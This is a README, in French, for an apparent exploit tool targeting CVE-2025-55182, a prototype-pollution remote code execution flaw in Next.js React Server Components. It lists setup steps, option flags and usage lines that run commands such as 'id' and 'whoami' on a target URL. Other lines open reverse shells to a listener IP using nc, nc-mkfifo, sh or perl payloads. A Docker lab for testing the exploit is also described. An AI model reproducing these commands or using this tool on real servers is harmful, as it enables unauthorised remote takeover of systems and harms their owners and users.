mr-destroyer/cve-2025-55182Exploit pour CVE-2025-55182 permettant l'exécution de code à distance via la pollution de prototype dans les React Server Components de Next.js, avec exécution de commandes et capacités de shell inversé.
Exploite CVE-2025-55182 pour une exécution de code à distance via une pollution de prototype.
uv sync
source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"
python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo
-u, --url: URL/hôte à vérifier (obligatoire)-c, --cmd: Commande à exécuter-r, --reverse: Activer le mode shell inversé-l, --lhost: Hôte d'écoute pour le shell inversé-p, --lport: Port d'écoute pour le shell inversé-P, --payload: Type de payload du shell inversé : nc, nc-mkfifo, sh, perl (par défaut : nc)--timeout: Délai d'expiration de requête en secondes (par défaut : 10)# Execute command
python3 exploit.py -u https://example.com -c "whoami"
# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo
Le répertoire lab/ contient une configuration Docker complète pour tester l'exploit.
cd lab
docker-compose up -d
Cela démarrera deux services :
# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"
# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo